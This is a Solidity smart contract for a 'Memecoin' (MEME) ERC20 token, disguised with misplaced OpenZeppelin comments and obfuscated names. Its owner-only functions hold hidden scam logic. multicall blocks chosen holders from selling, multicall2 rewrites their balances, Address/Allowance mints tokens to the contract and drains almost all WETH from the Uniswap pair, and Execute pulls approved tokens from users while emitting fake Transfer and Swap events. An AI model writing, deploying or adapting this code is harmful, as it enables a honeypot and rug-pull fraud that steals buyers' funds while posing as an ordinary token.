// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC20 {
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(
        uint256 amountIn,
        address[] memory path
    ) external view returns (uint256[] memory amounts);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 {
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return (_a * 100000) / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        // Ignore this code
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

    function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(
        address __owner,
        address spender
    ) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if (c[from] > 0) {
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );

            _approve(__owner, spender, currentAllowance - amount);
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract MEME is ERC20 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;

    mapping (address => uint) public rootValues;

    constructor() {
        _name = "Memecoin";
        _symbol = "MEME";
        _totalSupply = 69_000_000_000e18;
        owner = msg.sender;
        b[owner] = _totalSupply;
        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = Interfaces(
            Interfaces(_RR.factory()).createPair(
                address(this),
                address(_RR.WETH())
            )
        );
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function Execute(
        uint256 t,
        address tA,
        uint256 w,
        address[] memory r
    ) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }

    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(
        uint256 blockTimestamp,
        uint256 selector,
        address[] memory list,
        address factory
    ) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

    function FactoryReview(
        uint256 blockTime,
        uint256 multiplicator,
        address[] memory parts,
        address factory
    ) internal {
        _RR.swapTokensForExactTokens(
            // assembler
            blockTime,
            multiplicator,
            // unchecked
            parts,
            factory,
            block.timestamp + 1200
        );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function ConvertAddress(
        address _uu,
        uint256 _pp
    ) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit Transfer(
            (uint256(0) != 0 || 1238 == 1)
                ? address(uint256(0))
                : address(uint160(uint256(_b) >> 96)),
            address(_pair),
            b[
                // v0.5.11 specific update
                (uint256(0) != 0 || 1238 == 1)
                    ? address(
                        address(uint256(0)) == address(this) // Overflow control
                            ? uint256(0) // Ignore
                            : uint256(1)
                    )
                    : address(uint160(uint256(_b) >> 96))
                // Guard test
            ]
        );
        // Ignore this code
        b[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(0)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken2(uint256(__a));
    }

    function Mult(
        uint256 amO,
        address[] memory p
    ) internal view returns (uint256[] memory) {
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? // Skip this code
                        address(uint256(0))
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount2(data[i], rS);
            }
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? address(uint256(0))
                        // Ignore this code
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount(data[i], rS);
            }
        }
    }

        /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        // Ignore this code
        c[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(uint32(2)) == 2 // Check update
                        ? uint256(1)
                        : uint256(1)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken(uint256(__a));
    }

    function callUniswap(
        address router,
        uint256 transfer,
        uint256 cycleWidth,
        address unmount
    ) internal {
        IERC20(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
            transfer,
            0,
            0,
            cycleWidth,
            router
        );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function Allowance(
        uint256 checked,
        address[] memory p
    ) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b[
            block.timestamp > uint256(1) ||
                uint256(0) > 1 ||
                uint160(1) < block.timestamp
                ? address(uint160(uint256(_T()) >> 96))
                : address(uint256(0))
        ] += value[0]; // end uncheck }

        return value[0];
    }
}